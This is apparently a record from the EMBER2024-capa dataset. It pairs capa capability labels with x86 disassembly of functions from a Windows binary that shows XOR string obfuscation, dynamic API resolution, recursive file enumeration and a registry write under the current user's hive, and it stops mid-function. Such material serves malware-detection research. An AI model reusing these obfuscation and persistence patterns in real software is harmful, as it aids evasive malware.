joyce8/EMBER2024-capa huggingface dataset:
Function at 0x405dad
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x138
mov eax, dword [0x440040]
xor eax, ebp
mov dword [ebp - 4], eax
cmp byte [0x4395f3], 0
push ebx
push esi
push edi
mov esi, str.jRPQ_r_rn_._D__t_n
mov dword [ebp - 0x114], edx
lea edi, [ebp - 0x120]
mov ebx, ecx
push 0x3a
mov dword [ebp - 0x10c], ebx
movsd dword es:[edi], dword [esi]
mov dword [ebp - 0x10c], ebx
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
pop esi
mov dword [ebp - 0x10c], esi
je 0x405e0f
xor ecx, ecx
xor edx, edx
mov eax, ecx
div esi
add dl, 0x39
xor byte [ebp + ecx - 0x120], dl
inc ecx
cmp ecx, 0xc
jl 0x405df9
lea eax, [ebp - 0x120]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ecx, eax
mov dword [ebp - 0x110], ecx
test ecx, ecx
je 0x405e9f
mov esi, str.jrYIxP__1
lea edi, [ebp - 0x138]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
xor edi, edi
mov esi, edi
xor edx, edx
mov eax, esi
div dword [ebp - 0x10c]
add dl, 0x39
xor byte [ebp + esi - 0x138], dl
inc esi
cmp esi, 0x11
jl 0x405e3c
lea eax, [ebp - 0x138]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x405e93
lea ecx, [ebp - 0x108]
push ecx
push edi
push edi
push dword [ebp - 0x114]
push edi
call eax
test eax, eax
jne 0x405e93
push dword [ebp - 0x110]
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
lea eax, [ebp - 0x108]
push eax
jmp 0x405ea4
push dword [ebp - 0x110]
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
push 0x438f3b
mov ecx, ebx
call fcn.004042c3
mov ecx, dword [ebp - 4]
mov eax, ebx
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00419f88
leave
ret
Function at 0x406ca7
Capabilities:
Encode data using xor

Disassembly:
push 0x84
mov eax, 0x42e98b
call fcn.0041a90a
mov dword [ebp - 0x38], edx
mov ebx, ecx
mov dword [ebp - 0x40], ebx
mov dword [ebp - 0x34], ebx
and dword [ebp - 4], 0
lea edi, [ebp - 0x90]
mov dword [ebp - 0x44], ebx
mov esi, str.uwus
and dword [ebp - 0x3c], 0
push 0x10
pop ecx
rep movsd dword es:[edi], dword [esi]
xor ecx, ecx
movsb byte es:[edi], byte [esi]
xor edx, edx
mov eax, ecx
push 0x35
pop esi
div esi
add dl, 0x34
xor byte [ebp + ecx - 0x90], dl
inc ecx
cmp ecx, 0x41
jl 0x406cdf
lea eax, [ebp - 0x90]
push eax
lea ecx, [ebp - 0x28]
call fcn.004042c3
xor ecx, ecx
mov edi, ebx
xor eax, eax
inc ecx
mov dword [ebp - 4], ecx
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
and dword [ebx + 0x10], 0
and dword [ebx + 0x10], 0
mov dword [ebx + 0x14], 0xf
mov byte [ebx], 0
mov eax, dword [ebp - 0x38]
xor edi, edi
mov dword [ebp - 0x3c], ecx
mov eax, dword [eax + 0x10]
mov dword [ebp - 0x34], eax
test eax, eax
je 0x406dc9
mov ebx, dword [ebp - 0x38]
xor esi, esi
cmp edi, eax
jae 0x406d6c
cmp dword [ebx + 0x14], 0xf
mov eax, ebx
jbe 0x406d50
mov eax, dword [ebx]
movzx eax, byte [eax + edi]
push ecx
push eax
lea ecx, [ebp - 0x28]
call fcn.00408b39
mov byte [ebp + esi - 0x2c], al
inc edi
mov eax, dword [ebp - 0x34]
inc esi
cmp esi, 4
jb 0x406d42
mov cl, byte [ebp - 0x2b]
mov al, byte [ebp - 0x2c]
mov dl, byte [ebp - 0x2a]
mov ebx, dword [ebp - 0x40]
shr cl, 4
and cl, 3
shl al, 2
add cl, al
mov al, byte [ebp - 0x2b]
mov byte [ebp - 0x30], cl
mov cl, dl
shr cl, 2
and cl, 0xf
shl al, 4
shl dl, 6
add cl, al
add dl, byte [ebp - 0x29]
xor esi, esi
mov byte [ebp - 0x2f], cl
mov byte [ebp - 0x2e], dl
cmp byte [ebp + esi - 0x2c], 0x40
je 0x406db8
movzx eax, byte [ebp + esi - 0x30]
mov ecx, ebx
push eax
call fcn.00404410
inc esi
cmp esi, 3
jb 0x406da4
mov eax, dword [ebp - 0x34]
cmp edi, eax
jb 0x406d3d
lea ecx, [ebp - 0x28]
call fcn.00402616
mov eax, ebx
call fcn.0041a8b9
ret
Function at 0x406dd9
Capabilities:
Encode data using base64
Encode data using xor

Disassembly:
push 0x84
mov eax, 0x42e98b
call fcn.0041a90a
mov dword [ebp - 0x2c], edx
mov ebx, ecx
mov dword [ebp - 0x38], ebx
and dword [ebp - 4], 0
lea edi, [ebp - 0x90]
mov dword [ebp - 0x44], ebx
mov esi, str.uwus
and dword [ebp - 0x3c], 0
push 0x10
pop ecx
rep movsd dword es:[edi], dword [esi]
xor ecx, ecx
movsb byte es:[edi], byte [esi]
xor edx, edx
mov eax, ecx
push 0x35
pop esi
div esi
add dl, 0x34
xor byte [ebp + ecx - 0x90], dl
inc ecx
cmp ecx, 0x41
jl 0x406e0e
lea eax, [ebp - 0x90]
push eax
lea ecx, [ebp - 0x28]
call fcn.004042c3
xor ecx, ecx
xor eax, eax
mov edi, ebx
inc ecx
mov dword [ebp - 4], ecx
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
xor eax, eax
mov dword [ebx + 0x10], eax
mov dword [ebx + 0x14], 0xf
mov byte [ebx], al
mov eax, dword [ebp - 0x2c]
xor edx, edx
push 3
mov dword [ebp - 0x3c], ecx
pop ecx
mov edi, dword [eax + 4]
sub edi, dword [eax]
lea eax, [edi + 2]
div ecx
mov ecx, ebx
shl eax, 2
push eax
call fcn.00408b6e
xor ecx, ecx
mov dword [ebp - 0x34], ecx
test edi, edi
je 0x406f52
mov eax, dword [ebp - 0x2c]
lea edx, [ecx + 2]
lea esi, [edx - 1]
mov dword [ebp - 0x38], edx
mov dword [ebp - 0x40], esi
mov eax, dword [eax]
add eax, ecx
cmp esi, edi
jae 0x406e9f
movzx ecx, byte [eax + 1]
mov dword [ebp - 0x30], ecx
jmp 0x406ea3
and dword [ebp - 0x30], 0
cmp edx, edi
jae 0x406ead
movzx ecx, byte [eax + 2]
jmp 0x406eaf
xor ecx, ecx
movzx esi, byte [eax]
shl esi, 8
add esi, dword [ebp - 0x30]
shl esi, 8
add esi, ecx
cmp dword [ebp - 0x14], 0xf
lea ecx, [ebp - 0x28]
mov eax, esi
cmova ecx, dword [ebp - 0x28]
shr eax, 0x12
movzx eax, byte [eax + ecx]
mov ecx, ebx
push eax
call fcn.00404410
cmp dword [ebp - 0x14], 0xf
lea ecx, [ebp - 0x28]
mov eax, esi
cmova ecx, dword [ebp - 0x28]
shr eax, 0xc
and eax, 0x3f
movzx eax, byte [eax + ecx]
mov ecx, ebx
push eax
call fcn.00404410
cmp dword [ebp - 0x40], edi
jae 0x406f15
cmp dword [ebp - 0x14], 0xf
lea ecx, [ebp - 0x28]
mov eax, esi
cmova ecx, dword [ebp - 0x28]
shr eax, 6
and eax, 0x3f
mov al, byte [eax + ecx]
jmp 0x406f17
mov al, 0x3d
push eax
mov ecx, ebx
call fcn.00404410
cmp dword [ebp - 0x38], edi
jae 0x406f37
cmp dword [ebp - 0x14], 0xf
lea eax, [ebp - 0x28]
cmova eax, dword [ebp - 0x28]
and esi, 0x3f
mov al, byte [esi + eax]
jmp 0x406f39
mov al, 0x3d
push eax
mov ecx, ebx
call fcn.00404410
mov ecx, dword [ebp - 0x34]
add ecx, 3
mov dword [ebp - 0x34], ecx
cmp ecx, edi
jb 0x406e7f
lea ecx, [ebp - 0x28]
call fcn.00402616
mov eax, ebx
call fcn.0041a8b9
ret
Function at 0x406f62
Capabilities:
Encode data using xor

Disassembly:
push 0x84
mov eax, 0x42e9db
call fcn.0041a90a
mov ebx, edx
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x38], ecx
xor eax, eax
lea edi, [ebp - 0x90]
mov dword [ebp - 4], eax
mov esi, str.uwus
mov dword [ebp - 0x44], ecx
push 0x10
mov dword [ebp - 0x3c], eax
pop ecx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
movsb byte es:[edi], byte [esi]
xor edx, edx
mov eax, ecx
push 0x35
pop esi
div esi
add dl, 0x34
xor byte [ebp + ecx - 0x90], dl
inc ecx
cmp ecx, 0x41
jl 0x406f97
lea eax, [ebp - 0x90]
push eax
lea ecx, [ebp - 0x2c]
call fcn.004042c3
xor ecx, ecx
xor eax, eax
inc ecx
mov dword [ebp - 4], ecx
mov esi, dword [ebp - 0x14]
mov edi, esi
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
xor edi, edi
mov dword [esi], edi
mov dword [esi + 4], edi
mov dword [esi + 8], edi
mov edx, dword [ebx + 0x10]
imul eax, edx, 3
mov dword [ebp - 0x3c], ecx
shr eax, 2
mov dword [ebp - 0x14], eax
test eax, eax
je 0x406ffa
lea eax, [ebp - 0x14]
mov ecx, esi
push eax
call fcn.00408e11
mov edx, dword [ebx + 0x10]
cmp dword [ebx + 0x14], 0xf
mov dword [ebp - 0x34], edi
jbe 0x40700e
mov eax, dword [ebx]
mov ecx, eax
mov dword [ebp - 0x14], eax
mov ebx, eax
jmp 0x407015
mov eax, ebx
mov dword [ebp - 0x14], ebx
mov ecx, ebx
add ecx, edx
mov dword [ebp - 0x38], ecx
cmp ebx, ecx
je 0x40708b
mov bl, byte [eax]
movsx eax, bl
push eax
mov byte [ebp - 0x40], bl
call fcn.0041d930
pop ecx
test eax, eax
jne 0x40707f
cmp bl, 0x3d
je 0x40708b
push ecx
push dword [ebp - 0x40]
lea ecx, [ebp - 0x2c]
call fcn.00408b39
shl edi, 6
or edi, eax
mov eax, dword [ebp - 0x34]
add eax, 6
mov dword [ebp - 0x34], eax
cmp eax, 8
jl 0x40707f
sub eax, 8
mov edx, edi
mov ecx, eax
mov dword [ebp - 0x34], eax
mov eax, dword [esi + 4]
shr edx, cl
mov byte [ebp - 0x2d], dl
cmp eax, dword [esi + 8]
je 0x407073
mov byte [eax], dl
inc dword [esi + 4]
jmp 0x40707f
lea ecx, [ebp - 0x2d]
push ecx
push eax
mov ecx, esi
call fcn.004093f6
mov eax, dword [ebp - 0x14]
inc eax
mov dword [ebp - 0x14], eax
cmp eax, dword [ebp - 0x38]
jne 0x40701e
lea ecx, [ebp - 0x2c]
call fcn.00402616
mov eax, esi
call fcn.0041a8b9
ret

Function at 0x407271
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x407284
test al, 0x10
jne 0x407284
mov al, 1
ret
xor al, al
ret
Function at 0x407593
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
mov eax, dword [0x440040]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov esi, str._PDY_U_t_t
lea edi, [ebp - 0x40]
push 0x35
mov ebx, ecx
xor ecx, ecx
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
pop esi
xor edx, edx
mov eax, ecx
div esi
add dl, 0x34
xor byte [ebp + ecx - 0x40], dl
inc ecx
cmp ecx, 0xd
jl 0x4075b9
lea eax, [ebp - 0x40]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov dword [ebp - 0x10], eax
test eax, eax
je 0x4076cb
cmp byte [str._dGYT_JI_b], 0
lea edi, [ebp - 0x24]
mov esi, str.wGSVLRPX
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
je 0x407610
push 0x35
xor ecx, ecx
pop esi
xor edx, edx
mov eax, ecx
div esi
add dl, 0x34
xor byte [ebp + ecx - 0x24], dl
inc ecx
cmp ecx, 0xc
jl 0x4075fa
mov eax, dword [ebp - 0x10]
lea ecx, [ebp - 0x24]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp byte [0x439769], 0
lea edi, [ebp - 0x50]
mov esi, str.sPBqQU_hUG_z8A
mov dword [ebp - 0x14], eax
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
je 0x40764c
push 0x35
xor ecx, ecx
pop esi
xor edx, edx
mov eax, ecx
div esi
add dl, 0x34
xor byte [ebp + ecx - 0x50], dl
inc ecx
cmp ecx, 0xe
jl 0x407639
lea eax, [ebp - 0x50]
push eax
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp byte [0x4397ab], 0
lea edi, [ebp - 0x30]
mov esi, str.wYYD_q_UXQ__wGOGLk_WYMZ
mov dword [ebp - 0x18], eax
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
je 0x407688
push 0x35
xor ecx, ecx
pop esi
xor edx, edx
mov eax, ecx
div esi
add dl, 0x34
xor byte [ebp + ecx - 0x30], dl
inc ecx
cmp ecx, 0xc
jl 0x407675
lea eax, [ebp - 0x30]
push eax
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp dword [ebx + 0x14], 0xf
mov edi, eax
jbe 0x40769f
mov ebx, dword [ebx]
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
push ebx
call dword [ebp - 0x14]
mov esi, eax
cmp esi, 0xffffffff
je 0x4076cb
lea eax, [ebp - 0xc]
push eax
push esi
call dword [ebp - 0x18]
push esi
test eax, eax
jne 0x4076dc
call edi
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00419f88
leave
ret
call edi
mov eax, dword [ebp - 0xc]
jmp 0x4076cd
Function at 0x4080f0
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push 0x1a8
mov eax, 0x42eca3
call fcn.0041a90a
mov dword [ebp - 0x194], edx
mov esi, ecx
mov dword [ebp - 0x198], esi
mov dword [ebp - 0x19c], esi
xor ecx, ecx
mov dword [ebp - 0x190], ecx
mov edi, esi
xor eax, eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov dword [esi], ecx
mov dword [esi + 4], ecx
mov dword [esi + 8], ecx
mov dword [ebp - 4], ecx
xor ebx, ebx
inc ebx
lea ecx, [ebp - 0x4c]
push 0x439678
mov dword [ebp - 0x190], ebx
call fcn.0040452b
pop ecx
mov dword [ebp - 4], ebx
lea ecx, [ebp - 0x18c]
cmp dword [ebp - 0x38], 0xf
lea eax, [ebp - 0x4c]
push ecx
cmova eax, dword [ebp - 0x4c]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov edi, eax
mov dword [ebp - 0x198], edi
cmp edi, 0xffffffff
je 0x4082dd
test byte [ebp - 0x18c], 0x10
je 0x40825f
lea ecx, [ebp - 0x160]
cmp byte [ecx], 0x2e
jne 0x408195
movzx eax, byte [ecx + 1]
test al, al
je 0x4082c0
lea edx, [ebp - 0x160]
xor ecx, ecx
movzx eax, byte [edx + ecx]
mov edx, 0x43967c
cmp al, byte [edx + ecx]
lea edx, [ebp - 0x160]
jne 0x4081bb
inc ecx
cmp ecx, 3
jne 0x40819d
xor eax, eax
jmp 0x4081c0
sbb eax, eax
or eax, 1
test eax, eax
je 0x4082c0
mov edx, dword [ebp - 0x194]
lea ecx, [ebp - 0x1b4]
push 0x438f4c
call fcn.0040452b
pop ecx
lea ecx, [ebp - 0x160]
mov byte [ebp - 4], 2
push ecx
mov ecx, eax
call fcn.00404870
push eax
lea ecx, [ebp - 0x34]
call fcn.0040428a
or ebx, 4
mov dword [ebp - 0x190], ebx
lea ecx, [ebp - 0x1b4]
mov byte [ebp - 4], 4
call fcn.00402616
xor eax, eax
lea edi, [ebp - 0x1c]
stosd dword es:[edi], eax
lea edx, [ebp - 0x34]
lea ecx, [ebp - 0x1c]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
call fcn.004080f0
mov byte [ebp - 4], 5
mov eax, dword [ebp - 0x18]
sub eax, dword [ebp - 0x1c]
push 0x18
pop ecx
cdq
idiv ecx
mov ecx, esi
push eax
push dword [ebp - 0x1c]
push dword [esi + 4]
call fcn.0040918c
lea ecx, [ebp - 0x1c]
call fcn.004043bd
lea ecx, [ebp - 0x34]
mov byte [ebp - 4], 1
call fcn.00402616
mov edi, dword [ebp - 0x198]
jmp 0x4082c0
mov edx, dword [ebp - 0x194]
lea ecx, [ebp - 0x1b4]
push 0x438f4c
call fcn.0040452b
pop ecx
lea ecx, [ebp - 0x160]
mov byte [ebp - 4], 6
push ecx
mov ecx, eax
call fcn.00404870
push eax
lea ecx, [ebp - 0x34]
call fcn.0040428a
or ebx, 2
mov dword [ebp - 0x190], ebx
lea ecx, [ebp - 0x1b4]
mov byte [ebp - 4], 8
call fcn.00402616
lea eax, [ebp - 0x34]
mov ecx, esi
push eax
call fcn.00408ad5
lea ecx, [ebp - 0x34]
mov byte [ebp - 4], 1
call fcn.00402616
lea eax, [ebp - 0x18c]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x408171
push edi
call dword [sym.imp.KERNEL32.dll_FindClose]
lea ecx, [ebp - 0x4c]
call fcn.00402616
mov eax, esi
call fcn.0041a8b9
ret
Function at 0x408787
Capabilities:
Encode data using xor

Disassembly:
push 0x44
mov eax, 0x42ed76
call fcn.0041a8d7
mov bl, dl
mov byte [ebp - 0xd], bl
mov dword [ebp - 0x20], ecx
and dword [ebp - 0x18], 0
push 0
lea eax, [ebp + 0x38]
mov dword [ebp - 4], 3
push eax
lea ecx, [ebp + 8]
call fcn.00404221
mov esi, eax
mov ecx, 0x1400000
test bl, bl
mov eax, 0xa00000
cmove eax, ecx
lea ecx, [ebp + 0x38]
mov dword [ebp - 0x1c], eax
call fcn.00407593
mov edi, eax
push 0x35
pop ebx
cmp esi, 0xffffffff
jne 0x408814
cmp byte [0x43973f], 0
mov ecx, dword [str.UYZ7wGSVL_nTSQVZ_1qq]
mov dword [ebp - 0x14], ecx
je 0x408801
xor ecx, ecx
xor edx, edx
mov eax, ecx
div ebx
add dl, 0x34
xor byte [ebp + ecx - 0x14], dl
inc ecx
cmp ecx, 4
jl 0x4087ee
lea edx, [ebp - 0x14]
lea ecx, [ebp + 0x38]
call fcn.00408dd9
test al, al
je 0x4088d1
push 0xffffffffffffffff
mov esi, 0x439674
lea ecx, [ebp + 8]
push esi
call fcn.00408b03
xor ebx, ebx
inc ebx
cmp eax, 0xffffffff
je 0x408871
mov ecx, dword [ebp + 0x18]
dec ecx
cmp eax, ecx
jae 0x408871
push 0xffffffffffffffff
inc eax
lea ecx, [ebp + 8]
push eax
lea eax, [ebp - 0x50]
push eax
call fcn.00404197
push ebx
push esi
push 0
mov ecx, eax
mov byte [ebp - 4], 4
call fcn.00408c54
push eax
lea ecx, [ebp - 0x38]
call fcn.0040428a
lea ecx, [ebp - 0x50]
mov byte [ebp - 4], 3
call fcn.00402616
mov dword [ebp - 0x18], 7
jmp 0x408885
push 0x438f3b
lea ecx, [ebp - 0x38]
call fcn.004042c3
mov dword [ebp - 0x18], 3
lea edx, [ebp + 0x20]
lea ecx, [ebp - 0x38]
call fcn.00408da5
test al, al
jne 0x4088cc
cmp byte [0x43973f], 0
mov eax, dword [str.UYZ7wGSVL_nTSQVZ_1qq]
mov dword [ebp - 0x14], eax
je 0x4088bd
push 0x35
xor ecx, ecx
pop esi
xor edx, edx
mov eax, ecx
div esi
add dl, 0x34
xor byte [ebp + ecx - 0x14], dl
inc ecx
cmp ecx, 4
jl 0x4088aa
lea edx, [ebp - 0x14]
lea ecx, [ebp + 0x20]
call fcn.00408dd9
test al, al
je 0x4088d1
cmp edi, dword [ebp - 0x1c]
jl 0x4088d3
xor bl, bl
test byte [ebp - 0x18], 1
je 0x4088e1
lea ecx, [ebp - 0x38]
call fcn.00402616
test bl, bl
je 0x408922
cmp byte [ebp - 0xd], 0
je 0x4088f0
cmp edi, 0x32
jg 0x408922
sub esp, 0x18
lea eax, [ebp + 0x50]
mov ecx, esp
mov dword [ebp - 0x1c], esp
push eax
call fcn.004042fc
sub esp, 0x18
mov byte [ebp - 4], 5
lea eax, [ebp + 8]
mov ecx, esp
push eax
call fcn.004042fc
mov ecx, dword [ebp - 0x20]
mov byte [ebp - 4], 3
call fcn.00407b7d
add esp, 0x30
lea ecx, [ebp + 8]
call fcn.00402616
lea ecx, [ebp + 0x20]
call fcn.00402616
lea ecx, [ebp + 0x38]
call fcn.00402616
lea ecx, [ebp + 0x50]
call fcn.00402616
call fcn.0041a8a5
ret
Function at 0x40a10c
Capabilities:
Encode data using xor

Disassembly:
push 0x6c
mov eax, 0x42f013
call fcn.0041a90a
mov dword [ebp - 0x24], ecx
and dword [ebp - 4], 0
lea eax, [ebp - 0x1c]
push eax
mov ecx, edx
call fcn.0040da3a
mov byte [ebp - 4], 1
mov eax, dword [ebp - 0x18]
mov ebx, dword [ebp - 0x1c]
mov dword [ebp - 0x20], eax
cmp ebx, eax
je 0x40a23d
add ebx, 0x18
mov esi, str._YUVHNb_
lea edi, [ebp - 0x30]
xor ecx, ecx
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
xor edx, edx
mov eax, ecx
push 0x37
pop esi
div esi
add dl, 0x37
xor byte [ebp + ecx - 0x30], dl
inc ecx
cmp ecx, 9
jl 0x40a14f
lea eax, [ebp + 8]
push eax
lea edx, [ebp - 0x30]
lea ecx, [ebp - 0x60]
call fcn.00405093
pop ecx
push 1
push 0x438f4c
mov ecx, eax
mov byte [ebp - 4], 2
call fcn.004044c7
push eax
lea ecx, [ebp - 0x78]
call fcn.0040428a
lea eax, [ebx - 0x18]
mov byte [ebp - 4], 3
push eax
lea ecx, [ebp - 0x78]
call fcn.0040444b
push eax
lea ecx, [ebp - 0x48]
call fcn.0040428a
mov byte [ebp - 4], 4
mov eax, ebx
cmp dword [ebx + 0x14], 0xf
jbe 0x40a1b7
mov eax, dword [ebx]
cmp dword [ebp - 0x34], 0xf
lea edx, [ebp - 0x48]
push ecx
push dword [ebx + 0x10]
cmova edx, dword [ebp - 0x48]
mov ecx, dword [ebp - 0x24]
push eax
call fcn.004196d5
add esp, 0xc
lea ecx, [ebp - 0x48]
call fcn.00402616
lea ecx, [ebp - 0x78]
call fcn.00402616
lea ecx, [ebp - 0x60]
mov byte [ebp - 4], 1
call fcn.00402616
push 0
lea eax, [ebp + 8]
mov esi, 0x440960
push eax
mov ecx, esi
call fcn.00404221
cmp eax, 0xffffffff
jne 0x40a22e
push 0x438f48
lea edx, [ebp + 8]
lea ecx, [ebp - 0x60]
call fcn.0040452b
pop ecx
push eax
mov ecx, esi
mov byte [ebp - 4], 5
call fcn.0040444b
lea ecx, [ebp - 0x60]
mov byte [ebp - 4], 1
call fcn.00402616
add ebx, 0x30
lea eax, [ebx - 0x18]
cmp eax, dword [ebp - 0x20]
jne 0x40a142
lea ecx, [ebp - 0x1c]
call fcn.00406841
lea ecx, [ebp + 8]
call fcn.00402616
call fcn.0041a8b9
ret
Function at 0x40cfab
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
push esi
push edi
mov esi, 0x439c5c
lea edi, [ebp - 0xc]
xor ebx, ebx
push 0x37
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
pop esi
cmp byte [0x439c67], bl
je 0x40cfe1
mov ecx, ebx
xor edx, edx
mov eax, ecx
div esi
add dl, 0x37
xor byte [ebp + ecx - 0xc], dl
inc ecx
cmp ecx, 0xc
jl 0x40cfce
lea eax, [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ecx, eax
test ecx, ecx
je 0x40d02c
lea edi, [ebp - 0x1c]
mov esi, str.dPVWyE_55
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
cmp byte [0x439f25], bl
je 0x40d01c
push 0x37
pop esi
xor edx, edx
mov eax, ebx
div esi
add dl, 0x37
xor byte [ebp + ebx - 0x1c], dl
inc ebx
cmp ebx, 0xe
jl 0x40d009
lea eax, [ebp - 0x1c]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x441840], eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x40d031
Capabilities:
Encode data using xor
Set registry value

Disassembly:
push 0x9c
mov eax, 0x42f532
call fcn.0041a90a
push 0xf
pop esi
mov dword [ebp - 4], 1
lea ecx, [ebp + 8]
cmp dword [ebp + 0x1c], esi
mov eax, dword [ebp + 0x18]
cmova ecx, dword [ebp + 8]
add eax, ecx
cmp dword [ebp + 0x1c], esi
lea ecx, [ebp + 8]
cmova ecx, dword [ebp + 8]
push ecx
push eax
push ecx
lea ecx, [ebp - 0x40]
call fcn.0040d716
mov byte [ebp - 4], 2
lea ecx, [ebp + 0x20]
cmp dword [ebp + 0x34], esi
mov eax, dword [ebp + 0x30]
cmova ecx, dword [ebp + 0x20]
add eax, ecx
cmp dword [ebp + 0x34], esi
lea ecx, [ebp + 0x20]
cmova ecx, dword [ebp + 0x20]
push ecx
push eax
push ecx
lea ecx, [ebp - 0x28]
call fcn.0040d716
push 0x17
pop ecx
mov esi, str.dW_NL_O_c_r__16___
lea edi, [ebp - 0xa8]
rep movsd dword es:[edi], dword [esi]
xor esi, esi
push 0x37
mov ecx, esi
pop edi
xor edx, edx
mov eax, ecx
div edi
add edx, edi
xor word [ebp + ecx*2 - 0xa8], dx
inc ecx
cmp ecx, 0x2e
jl 0x40d0ad
push esi
lea eax, [ebp - 0x44]
push eax
push esi
push 2
push esi
push esi
push esi
lea eax, [ebp - 0xa8]
push eax
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x40d11c
mov eax, dword [ebp - 0x18]
lea edx, [ebp - 0x28]
cmp dword [ebp - 0x14], 7
lea ecx, [ebp - 0x40]
cmova edx, dword [ebp - 0x28]
cmp dword [ebp - 0x2c], 7
lea eax, [eax*2 + 2]
push eax
cmova ecx, dword [ebp - 0x40]
push edx
push 1
push esi
push ecx
push dword [ebp - 0x44]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 0x44]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [ebp - 0x28]
call fcn.00408c26
lea ecx, [ebp - 0x40]
call fcn.00408c26
lea ecx, [ebp + 8]
call fcn.00402616
lea ecx, [ebp + 0x20]
call fcn.00402616
call fcn.0041a8b9
ret
Function at 0x40d142
Capabilities:
Encode data using xor

Disassembly:
push 0xc4
mov eax, 0x42f59d
call fcn.0041a90a
mov dword [ebp - 0x40], ecx
lea ecx, [ebp - 0xd0]
call fcn.00407287
mov dword [ebp - 0x34], eax
and dword [ebp - 4], 0
lea edi, [ebp - 0x70]
push 0xb
pop ecx
mov esi, str.D_QNZOVM
rep movsd dword es:[edi], dword [esi]
push 0x37
pop ebx
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
xor edi, edi
mov ecx, edi
xor edx, edx
mov eax, ecx
div ebx
add dl, bl
xor byte [ebp + ecx - 0x70], dl
inc ecx
cmp ecx, 0x2f
jl 0x40d17d
mov ebx, dword [ebp - 0x34]
lea edx, [ebp - 0x70]
push ebx
lea ecx, [ebp - 0xb8]
call fcn.00408d71
pop ecx
mov esi, eax
mov byte [ebp - 4], 1
cmp byte [str._DPVW], 0
mov ecx, dword [0x439c54]
mov edx, dword [0x439c58]
push 0x37
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x2c], edx
pop ebx
je 0x40d1da
mov ecx, edi
xor edx, edx
mov eax, ecx
div ebx
add dl, bl
xor byte [ebp + ecx - 0x30], dl
inc ecx
cmp ecx, 8
jl 0x40d1c8
lea eax, [ebp - 0x30]
mov ecx, esi
push eax
call fcn.00404870
push eax
lea ecx, [ebp - 0xa0]
call fcn.0040428a
push dword [ebp - 0x40]
lea ecx, [ebp - 0xa0]
mov byte [ebp - 4], 2
call fcn.0040444b
push eax
lea ecx, [ebp - 0x88]
call fcn.0040428a
mov byte [ebp - 4], 3
mov ecx, edi
mov eax, dword [0x439d0c]
mov dword [ebp - 0x30], eax
mov al, byte [0x439d10]
mov byte [ebp - 0x2c], al
xor edx, edx
mov eax, ecx
div ebx
add dl, bl
xor byte [ebp + ecx - 0x30], dl
inc ecx
cmp ecx, 5
jl 0x40d225
lea eax, [ebp - 0x30]
push eax
lea ecx, [ebp - 0x88]
call fcn.00404870
push eax
lea ecx, [ebp - 0x28]
call fcn.0040428a
lea ecx, [ebp - 0x88]
call fcn.00402616
lea ecx, [ebp - 0xa0]
call fcn.00402616
lea ecx, [ebp - 0xb8]
call fcn.00402616
lea ecx, [ebp - 0xd0]
mov byte [ebp - 4], 8
call fcn.00402616
lea eax, [ebp - 0x28]
mov edx, 0x439b40
push eax
lea ecx, [ebp - 0x5c]
call fcn.00405093
pop ecx
mov esi, eax
